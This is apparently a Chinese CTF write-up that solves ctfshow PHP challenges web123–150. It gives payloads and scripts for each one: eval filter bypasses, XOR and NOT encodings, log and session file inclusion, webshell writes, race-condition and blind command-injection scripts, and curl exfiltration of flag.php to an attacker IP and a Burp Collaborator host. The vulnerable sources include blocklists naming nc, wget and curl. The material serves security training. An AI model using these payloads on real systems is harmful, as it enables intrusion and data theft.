前言

继上一篇的php特继续啃

web123

highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}

难点在传参中不能有‘ . ’,但是前面带上[,后面用.就可以不变成_。原理不太懂

payload:

CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag

web125/126

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
         eval("$c".";");
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}

看到这个$_SERVER['argv'],想起之前做pearcmd的题,开了这个的话就会接受脚本参数,正好自己总结一下,看了yu师傅的博客

1、cli模式(命令行)下

    第一个参数$_SERVER['argv'][0]是脚本名,其余的是传递给脚本的参数

2、web网页模式下

    在web页模式下必须在php.ini开启register_argc_argv配置项
    
    设置register_argc_argv = On(默认是Off),重启服务,$_SERVER[‘argv’]才会有效果

    这时候的$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]

    $argv,$argc在web模式下不适用

这里测试一下
1

语法是
<?php
var_dump($_SERVER['argv']);

这里是在网页模式下嘛,也就是说$a[0]等于?后面的东西,那个点号依然用[绕过,整理一下,需要传入CTF_SHOW和CTF_SHOW.COM,但不能传入fl0g,如果有传入的fun会被检测,检测成功会执行,并且判断传入的fl0g是否等于flag_give_me,是的话就输出flag,这个把flag也过滤了,想直接通过eval出答案应该不大可能,所以思路应该想到最后那个echo。
用到上面那个特性,既然不能传入fl0g,但是$_SERVER[‘argv’][0]是等于第一个传入的参数的,又看到eval,那可以传入$fl0g=flag_give_me,然后让fun=$a[0],eval的时候把flag_give_me的值赋给$fl0g,就绕过了。
构造一下payload

GET:$fl0g=flag_give_me;
POST:CTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($a[0])

当时做这道题的时候一直试不出来,本地试也一直不行,后面突然注意到,get传参那里后面一定要加个分号啊啊!!因为构造的fun里面eval执行后还有还需要一个分号来结尾(因为eval里面相当于执行的是php代码),不然出不来啊!!

然后其实这是非预期解,预期解是

get: a=1+fl0g=flag_give_me
post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])

什么意思呢,其实之前做pearcmd的题的时候就遇到过,$_SERVER['argv']这个数组接收参数的方式是以+做分割的
本地给个例子测试一下就懂了

parse_str前面也提到过,是个变量赋值的函数
这样的话url中get传入的参数也不会认为有fl0g,本地给个测试就懂了

+在url中也被解析为了空格而parse_str中的变量赋值参数前面也不需要加$符号

web127

error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];


//特殊字符检测
function waf($url){
    if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
        return true;
    }else{
        return false;
    }
}

if(waf($url)){
    die("嗯哼?");
}else{
    extract($_GET);
}


if($ctf_show==='ilove36d'){
    echo $flag;
}

有个知识点:$_SERVER['QUERY_STRING'];获取的查询语句是服务端还没url解码的,所以一次url编码绕过即可
不过也学了下yu师傅的暴力破解法
本地写个代码1.php

<?php
if(isset($_GET['ctf_show'])){
    echo 123;
}

再写个脚本跑看哪些字符和_是等效的

<?php
function curl($url){
    $ch=curl_init($url);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    $result=curl_exec($ch);
    curl_close($ch);
    return strlen($result);
}
for ($i=0; $i < 128; $i++) { 
    $url="http://127.0.0.1/1.php?ctf".urlencode(chr($i))."show=1";
    if(curl($url)!==0){
        echo urlencode(chr($i))."\n";
    }
}

%5B指的就是[, +在url中是空格
也就是说用这些字符也是可以绕过的,除去他过滤的就只剩下+了。

web128

error_reporting(0);
include("flag.php");
highlight_file(__FILE__);

$f1 = $_GET['f1'];
$f2 = $_GET['f2'];

if(check($f1)){
    var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
    echo "嗯哼?";
}



function check($str){
    return !preg_match('/[0-9]|[a-z]/i', $str);
}

考察的gettext拓展的使用

gettext函数要去test域中去寻找替代字符串,说白了就是个在配置文件中查找字符串的功能,php中如果是未定义的字符,直接返回原字符,所以这里本来就需要两个call_user_func。

本来想用异或或者取反绕过,但是后面问了小白师傅,call_user_func函数里面他会直接检测函数完整性,也就是说取反或者异或的话他会直接检测传进来的那一坨是不是个函数,很明显不是。所以这里面不能用取反或者异或绕过,取反一般用于eval这些函数里面,这些函数因为看到有括号,所以会去还原函数,例如p.p.hinfo(),在php代码里面看到有括号,所以会把 点 判断为连接符号。

而这道题的突破点在两个call_user_func这里,问题应该出在这里,所以应该想到第一个call_user_func函数出来的结果应该是查看全局变量的函数,那么回到第一个call_user_func,这个的作用应该就是返回一个该函数的字符串,由于第一个参数有过滤,不能为字符和数字,所以会想到gettext,他会返回字符串,并且可以用_代替。
在开启该拓展后(需要php扩展目录下有php_gettext.dll) _() 等效于 gettext()。可以用这个特性去绕过第一个限制的不能有字母和数字。第二个参数需要一个获取全局变量的函数才可以,如果用$GLOBALS的话,这只是一个变量,并没有函数可以把它输出,考察的get_defined_vars()函数

get_defined_vars — 返回由所有已定义变量所组成的数组 这样可以获得 $flag
顺便记一下这个!!以后可能会用到,基本返回全局的函数就这两个
get_defined_functions- 返回所有已定义函数的数组

payload

f1=_&f2=get_defined_vars

web129

error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
    $f = $_GET['f'];
    if(stripos($f, 'ctfshow')>0){
        echo readfile($f);
    }
}

姿势挺多的,只要满足传入的东西有ctfshow就可以了
最简单的一个目录穿越:

?f=./ctfshow/../../../../../../../var/www/html/flag.php

还可以往自己服务器上写码

 f=http://url/ctfshow.php?c1oud=

还有伪协议

?f=php://filter/ctfshow|/resource=flag.php

filter伪协议支持多种编码方式,无效的就被忽略掉了。

web130/131

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
    $f = $_POST['f'];

    if(preg_match('/.+?ctfshow/is', $f)){
        die('bye!');
    }
    if(stripos($f, 'ctfshow') === FALSE){
        die('bye!!');
    }

    echo $flag;

}

不能满足正则表达式的内容,又要里面有ctfshow,那肯定要绕过正则,preg_match处理数组是会直接返回false的,那stripos处理数组呢,本地试了一下

而NULL是不等于FALSE的,那么也可以绕过
所以payload:

?f[]=ctfshow

当然这肯定不是预期解,因为这个正则表达式不难让人想到回溯
先放一篇p神的文章:正则回溯原理
这篇也是回溯的:回溯
大概意思就是PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit
回溯次数上限默认是 100 万。如果回溯次数超过了 100 万,preg_match 将不再返回非 1 和 0,而是 false。这样我们就可以绕过第一个正则表达式了。
所以直接用python跑一下

import requests
url="http://03771c3c-6afb-4457-a719-19cc6ccf922e.chall.ctf.show/"
data={
    'f':'c1oud'*200000+'ctfshow'
}
r=requests.post(url,data=data)
print(r.text)

意思就是由于是懒惰匹配,会尽量匹配少的字符,先匹配一个字符后,去看下一个字符是不是c,把c先放进去,发现不是,然后吐出来,进行了一次回溯,然后再匹配一个字符,再看第三个是不是c,不是又吐出来,这里已经有2次回溯,以此类推100万次后,就返回false。
但是值得注意的是!!当我看到hint的时候答案是?f=ctfshow
然后才去认真看这个正则,发现这是个+呀,+是需要默认匹配1次或更多的。这样传的话他前面一个字符都没有,自然也就不匹配了。
所以第三个payload:?f=ctfshow

web132

给了个前端页面,不过是虚假的,/admin进入原码页面,当然也可以扫描出来

include("flag.php");
highlight_file(__FILE__);


if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
    $username = (String)$_GET['username'];
    $password = (String)$_GET['password'];
    $code = (String)$_GET['code'];

    if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
        
        if($code == 'admin'){
            echo $flag;
        }
        
    }
}

考察的运算符优先级
之前也做到了,当巩固一遍了,这道题只需要满足username=admin就可以进入第一个if了,再构造code=admin就可以了

&& > || > = > and  

payloda:

?code=admin&password=1&username=admin

web133

error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
    if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
        eval(substr($F,0,6));
    }else{
        die("6个字母都还不够呀?!");
    }
}

这个姿势比较骚,主要是他限制了长度,又进行了过滤,所以只能套娃,?f=$f ;ls;这样构造后,因为只截取前面6个,所以刚好截取的就是$f ; 最后得到的就是`$f ;ls,但是反引号是shell_exec的缩写,这个是没有回显的,那不难想到可以反弹shell或者外带。先试试可以成功嘛传一个 ?$f` ; sleep 5。是可以成功的,后面试了弹shell发现不能成功,可能是&在GET中被识别成了变量的分隔符,那外带出来,
带多行是带不出来的,所以选择带一行出来,payload

?F=`$F`;+curl http://xxx.xxx.xxx.xxx:7777?p=`tail -n 1 flag.php`,这里的?p是为了让传出来的随便带一个参数,也可以不传。

还有一种方法是利用burp外带,也是学到了。
也是利用curl去带出flag.php
curl -F 将flag文件上传到Burp的 Collaborator Client ( Collaborator Client 类似DNSLOG,其功能要比DNSLOG强大,主要体现在可以查看 POST请求包以及打Cookies)

# payload 
#其中-F 为带文件的形式发送post请求
#xx是上传文件的name值,flag.php就是上传的文件 
?F=`$F`;+curl -X POST -F xx=@flag.php  http://8clb1g723ior2vyd7sbyvcx6vx1ppe.burpcollaborator.net

使用方法

所以方法原理就是将flag.php上传到bp的Collaborator Client.获得flag

web134

highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
    die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
    die(file_get_contents('flag.php'));
}

考察的POST数组的变量覆盖
parse_str() 函数把查询字符串解析到变量中
那传入?_POST[key1]=36d&_POST[key2]=36d
得到的就是$_POST[key1]=36d $_POST[key2]=36d 举个例子

得到的是个POST数组,在经过extract进行变量覆盖把key1和key2进行赋值来进行绕过

web135

error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
    if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
        eval(substr($F,0,6));
    }else{
        die("师傅们居然破解了前面的,那就来一个加强版吧");
    }
}

把curl过滤了,不过可以直接写文件,前面那到题好像不能写。。
payload:

?F=`$F` ;cp flag.php 1.txt

web136

error_reporting(0);
function check($x){
    if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
        die('too young too simple sometimes naive!');
    }
}
if(isset($_GET['c'])){
    $c=$_GET['c'];
    check($c);
    exec($c);
}
else{
    highlight_file(__FILE__);
}

因为过滤了括号,没办法反弹shell,迷茫了
又学到了新东西 tee命令
Linux tee命令用于读取标准输入的数据,并将其内容输出成文件
用法:
tee file1 file2 //复制文件
ls|tee 1.txt //命令输出

payload:
?c=ls /|tee 1
然后访问1里面有个f149_15_h3r3
继续
?c=nl /f149_15_h3r3|tee 1
再查看就好了(nl命令和cat命令比较像,不过nl命令会打上行号)

web137


error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
    function __wakeup(){
        die("private class");
    }
    static function getFlag(){
        echo file_get_contents("flag.php");
    }
}

call_user_func($_POST['ctfshow']);

比较简单,考察的静态方法的调用

php中 ->与:: 调用类中的成员的区别
->用于动态语境处理某个类的某个实例
::可以调用一个静态的、不依赖于其他初始化的类方法.

直接调用就好了

ctfshow=ctfshow::getFlag

当然传数组也是没问题的

ctfshow[]=ctfshow&ctfshow[]=getFlag
//之前做过一道数组溢出的题,如果数组里面不传入元素的话,默认会从0开始往后面增加,这里也就相当于传入的是
ctfshow[0]=ctfshow&ctfshow[1]=getFlag

web138

error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
    function __wakeup(){
        die("private class");
    }
    static function getFlag(){
        echo file_get_contents("flag.php");
    }
}

if(strripos($_POST['ctfshow'], ":")>-1){
    die("private function");
}

call_user_func($_POST['ctfshow']);

限制了不能传入':' 那就相当于限制了不能以字符串的方法调用静态变量,直接用数组就好了。

web139

<?php
error_reporting(0);
function check($x){
    if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
        die('too young too simple sometimes naive!');
    }
}
if(isset($_GET['c'])){
    $c=$_GET['c'];
    check($c);
    exec($c);
}
else{
    highlight_file(__FILE__);
}
?>

这个用之前tee的方法也行不通,应该是限制了文件的读写,看师傅们用的盲打,主要自己还是不太会写脚本,先放着以后来学吧,放一下大师傅们的脚本

猜测文件名

import requests
import time
import string
str=string.ascii_letters+string.digits
result=""
for i in range(1,5):
    key=0
    for j in range(1,15):
        if key==1:
            break
        for n in str:
            payload="if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then sleep 3;fi".format(i,j,n)
            #print(payload)
            url="http://877848b4-f5ed-4ec1-bfc1-6f44bf292662.chall.ctf.show?c="+payload
            try:
                requests.get(url,timeout=(2.5,2.5))
            except:
                result=result+n
                print(result)
                break
            if n=='9':
                key=1
    result+=" "

盲注文件内容

import requests
import time
import string
str=string.digits+string.ascii_lowercase+"-"
result=""
key=0
for j in range(1,45):
    print(j)
    if key==1:
        break
    for n in str:
        payload="if [ `cat /f149_15_h3r3|cut -c {0}` == {1} ];then sleep 3;fi".format(j,n)
        #print(payload)
        url="http://877848b4-f5ed-4ec1-bfc1-6f44bf292662.chall.ctf.show?c="+payload
        try:
            requests.get(url,timeout=(2.5,2.5))
        except:
            result=result+n
            print(result)
            break

因为过滤了{}所以会我们就不加{}出来,跑出来flag然后手动添加就可以了。
如果容易出错的话,可以在payload=xxx前面加个time.sleep(0.1)

web140

error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['f1']) && isset($_POST['f2'])){
    $f1 = (String)$_POST['f1'];
    $f2 = (String)$_POST['f2'];
    if(preg_match('/^[a-z0-9]+$/', $f1)){
        if(preg_match('/^[a-z0-9]+$/', $f2)){
            $code = eval("return $f1($f2());");
            if(intval($code) == 'ctfshow'){
                echo file_get_contents("flag.php");
            }
        }
    }
}

他这个正则限制了之前用全局变量那个方法,也就是说通过eval去执行不大可能,那只能去看最后那个echo来输出。
思路也就是只要eval不报错(本地试了试eval报错的话不会去执行下面的内容),然后能满足 intval($code) == 'ctfshow' 就可以了,但是return也限制了内容,但是想到intval这个函数处理字符串的时候只要开头是字结果是等于0的,然后0和ctfshow是弱比较也是可以相等的。所以随便构造函数返回只有字符就可以了。
payload:

f1=md5&f2=phpinfo
f1=sha1&f2=getcwd
f1=sleep&f2=phpinfo
f1=sleep&f2=sleep

当然答案还有很多很多

web141/144

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];

    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/^\W+$/', $v3)){
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

又一道做不来的题,看了yu师傅的博客,首先正则里面/^W+$/ 作用是匹配非数字字母下划线的字符。很容易想到无字母的rce,也就会想到取反异或那些,但他把$va$v2$v3都拼接起来了怎么办呢。这里借用一下feng师傅的图
在这里插入图片描述

意思就是return会终止当前字符串的执行

eval("phpinfo();return 1;");
eval("return 1;phpinfo();")

也就是第一个都会执行,第二个只会执行return 1
但是php有个特性,数字是可以和命令进行一些运算的,例如 1-phpinfo();是可以执行phpinfo()命令的。所以v1和v2可以构造成数字,v3前面前面加一个符号就好了。

payload:

v3=(~%8c%86%8c%8b%9a%92)(~%8b%9e%9c%df%99%d5)   //system('tac f*')
v1=1&v2=1&v3=-(~%8c%86%8c%8b%9a%92)(~%8b%9e%9c%df%99%d5);

命令前加一些 + - * / 之类的,让它顺利执行
因为顺序是v1v3v2所以v3后面ya要加分号不然会报错。

web142

error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1'])){
    $v1 = (String)$_GET['v1'];
    if(is_numeric($v1)){
        $d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d);
        sleep($d);
        echo file_get_contents("flag.php");
    }
}

这个没什么好说
?v1=0

web143

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){
                die('get out hacker!');
        }
        else{
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

过滤了取反和+-但没有ban异或和*,用脚本一跑就出来了
放一个yu师傅的脚本连接
生成异或和其他绕过的连接
payload:

?v1=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%03%01%0b%00%06%00"^"%60%60%7f%20%60%2a")*&v2=1
//v3=system('cat f*')

web145

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
                die('get out hacker!');
        }
        else{
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

取反和都没有过滤
payload:

?v1=1&v2=1&v3=|(~%8c%86%8c%8b%9a%92)(~%8b%9e%9c%df%99%d5)|

后面看wp发现这道题考的是三目运算
举个列子:

所以由于他过滤了很多运算符号,尝试用三木运算绕过
payload:

?v1=1&v3=?(~%8c%86%8c%8b%9a%92)(~%8b%9e%9c%df%99%d5):&v2=2

web146

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
                die('get out hacker!');
        }
        else{
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

他限制了三目运算,用web145的方法就可以绕,看yu师傅博客又学到了新姿势,用的等号和位运算
举个列子

也就是说或运算会执行第一个判断为真的语句,构造后他会先执行响应的语句然后在进行判断,也就是说既会执行也会判断,执行结果和判断结果两个都会被返回回来。重点是能运行这个eval语句就行。
payload:

?v1=1&v3===(~%8c%86%8c%8b%9a%92)(~%8b%9e%9c%df%99%d5)||&v2=1

web147

highlight_file(__FILE__);

if(isset($_POST['ctf'])){
    $ctfshow = $_POST['ctf'];
    if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
        $ctfshow('',$_GET['show']);
    }

}

又一次涉及自己的知识盲区,考察的create_function()的利用,先放两篇文章
create_function()利用
绕过正则
主要是要找到一个函数可以不用传第一个参数,然后控制第二个参数让整个函数可以正常执行,后来找到可以用create_function来完成,create_function的第一个参数是参数,第二个参数是内容,还需要绕过正则,这个用命名空间也可以绕过,简单阐述一下

$f=create_function('$a','echo $a."1"')

类似于

function f($a) {
  echo $a."1";
}

所以构造
$f=create_function('$a','echo 1;}phpinfo();//')

类似于

function f($a) {
  echo 1;}phpinfo();//;
}
php里默认命名空间是\,全局命名空间也是他,所有原生函数和类都在这个命名空间中。 普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name()这样调用函数,则其实是写了一个绝对路径。 如果你在其他namespace里调用系统类,就必须写绝对路径这种写法

最后构造payload:

GET:show=echo 1;}system('cat f*');//
POST:ctf=\create_function

web148

include 'flag.php';
if(isset($_GET['code'])){
    $code=$_GET['code'];
    if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){
        die("error");
    }
    @eval($code);
}
else{
    highlight_file(__FILE__);
}

function get_ctfshow_fl0g(){
    echo file_get_contents("flag.php");
}

没有过滤异或,又是直接eval的,用异或构造函数来输出或者直接构造命令输出都可以
payload:

?code=("%07%05%09%01%03%09%06%08%08%0f%08%01%06%0c%0b%07"^"%60%60%7d%5e%60%7d%60%7b%60%60%7f%5e%60%60%3b%60")();
或者
?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%03%01%09%01%06%02"^"%60%60%7d%21%60%28");

web149

error_reporting(0);
highlight_file(__FILE__);

$files = scandir('./'); 
foreach($files as $file) {
    if(is_file($file)){
        if ($file !== "index.php") {
            unlink($file);
        }
    }
}

file_put_contents($_GET['ctf'], $_POST['show']);

$files = scandir('./'); 
foreach($files as $file) {
    if(is_file($file)){
        if ($file !== "index.php") {
            unlink($file);
        }
    }
}

比较明显的条件竞争,unlink函数删除不是index.php的文件,但是中间有个写入文件的操作,后面会判断再删除,用条件竞争就好了,扒一下大师傅的条件竞争脚本。

# -*- coding: utf-8 -*-
# @Time : 20.12.5 11:41
# @author:lonmar
import io
import requests
import threading

url = 'http://d3aa0fa3-8a63-4994-8a43-80891c436065.chall.ctf.show/'


def write():
    while event.isSet():
        data = {
            'show': '<?php system("cat /ctfshow_fl0g_here.txt");?>'
        }
        requests.post(url=url+'?ctf=1.php', data=data)


def read():
    while event.isSet():
        response = requests.get(url + '1.php')
        if response.status_code != 404:
            print(response.text)
            event.clear()


if __name__ == "__main__":
    event = threading.Event()
    event.set()
    for i in range(1, 100):
        threading.Thread(target=write).start()

    for i in range(1, 100):
        threading.Thread(target=read).start()

不过这个没有跑出来,可能网太烂了
然后有个非预期,直接把内容写在index.php里面就可以了。
payload:

GET:ctf=index.php
POST:show=<?php @eval($_POST['c1oud'])?>

web150/web150_plus

include("flag.php");
error_reporting(0);
highlight_file(__FILE__);

class CTFSHOW{
    private $username;
    private $password;
    private $vip;
    private $secret;

    function __construct(){
        $this->vip = 0;
        $this->secret = $flag;
    }

    function __destruct(){
        echo $this->secret;
    }

    public function isVIP(){
        return $this->vip?TRUE:FALSE;
        }
    }

    function __autoload($class){
        if(isset($class)){
            $class();
    }
}

#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
    die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
    echo "class is exists!";
}

if($isVIP && strrpos($ctf, ":")===FALSE){
    include($ctf);
}

主要是后面有个include,如果让他包含flag似乎也看不到,所以要想包含我们构造的文件,看能不能getshell,容易想到session的文件包含和临时文件包含(但是临时文件之前想到了远程文件包含,才发现他过滤了:符号,所以就pass了,然后后面才知道预期解就是临时文件+phpinfo()的利用 exp)和日志文件包含

先试试日志文件

先通过UA注入一个信息到日志文件中去

然后通过日志文件去包含,先简单看一下对面是什么服务器

看到是nginx的,nginx的文件路径是/var/log/nginx/access.log,可以满足他if中的条件,再随便传一个isVIP,他会通过extract()变量赋值的。本来想链接蚁剑的,好像不能回到目录穿越到access.log。那直接命令执行就好了
payload:

GET:isVIP=1
POST:ctf=/var/log/nginx/access.log&1=system('cat flag.php');

再看看session的文件包含

放两个师傅的脚本(我没跑出来,但感觉是题目的问题,我只要一跑题目就是503)

# -*- coding: utf-8 -*-
# @Time : 20.12.5 13:52
# @author:lonmar
import io
import requests
import threading

sessid = 'test'
data = {
    "ctf": "/tmp/sess_test",
    "cmd": 'system("cat flag.php");'
}


def write(session):
    while event.isSet():
        f = io.BytesIO(b'a' * 1024 * 50)
        resp = session.post('http://7445f895-6f17-4435-adc0-62055d7f0cb7.chall.ctf.show/',
                            data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'},
                            files={'file': ('test.txt', f)}, cookies={'PHPSESSID': sessid})


def read(session):
    while event.isSet():
        res = session.post(
            'http://7445f895-6f17-4435-adc0-62055d7f0cb7.chall.ctf.show/?isVIP=1',
            data=data
        )
        if 'flag{' in res.text:
            print(res.text)
            event.clear()
        else:
            print('[*]retrying...')


if __name__ == "__main__":
    event = threading.Event()
    event.set()
    with requests.session() as session:
        for i in range(1, 5):
            threading.Thread(target=write, args=(session,)).start()

        for i in range(1, 5):
            threading.Thread(target=read, args=(session,)).start()

第二个

import requests
import io
import threading

url = "http://c289e0c5-7596-4115-bb2b-0189c49d15c0.challenge.ctf.show/"
sessid = "Lxxx"

def write(session):
    filebytes = io.BytesIO(b'a' * 1024 * 50)
    while True:
        res = session.post(url,
            data={
                'PHP_SESSION_UPLOAD_PROGRESS': "<?php eval($_POST[1]);?>"
                },
            cookies={
                'PHPSESSID': sessid
                },
            files={
                'file': ('Lxxx.jpg', filebytes)
                }
            )

def read(session):
    while True:
        res = session.post(url+"?isVIP=1",
                           data={
                               "ctf":"/tmp/sess_"+sessid,
                               "1":"file_put_contents('/var/www/html/1.php' , '<?php eval($_POST[2]);?>');",

                           },
                           cookies={
                               "PHPSESSID":sessid
                           }
                           )
        res2 = session.get("http://c289e0c5-7596-4115-bb2b-0189c49d15c0.challenge.ctf.show/1.php")
        if res2.status_code == 200:
            print("成功写入一句话!")
        else:
            print("Retry")



if __name__ == "__main__":
    evnet = threading.Event()
    with requests.session() as session:
        for i in range(5):
            threading.Thread(target=write, args=(session,)).start()
        for i in range(5):
            threading.Thread(target=read, args=(session,)).start()
    evnet.set()

第二个跑完后去访问1.php才可以。

最后试试临时文件+phpinfo

使用?..CTFSHOW..=xxx可以绕过正则匹配,利用空格 [ . +自动转换为_的特性

__autoload()
这个函数并不属于CTFSHOW这个类的,全局都可以用
__autoload(),尝试加载未定义的类

__autoload()官方定义

class_exists()同样会触发这个函数
传入?..CTFSHOW..=phpinfo就会执行phpinfo()
原因是..CTFSHOW..解析变量成__CTFSHOW__然后进行了变量覆盖,因为不存在phpinfo这个类就会使用__autoload()函数方法,当然里面的参数就是$__CTFSHOW__也就是phpinfo,而之前的CTFSHOW类里面已经定义了__autoload()怎么使用,所以会出现phpinfo的内容

然后再用LFI via PHPINFO
可以参考:https://github.com/vulhub/vulhub/blob/master/php/inclusion/README.zh-cn.md
改一下exp打就好了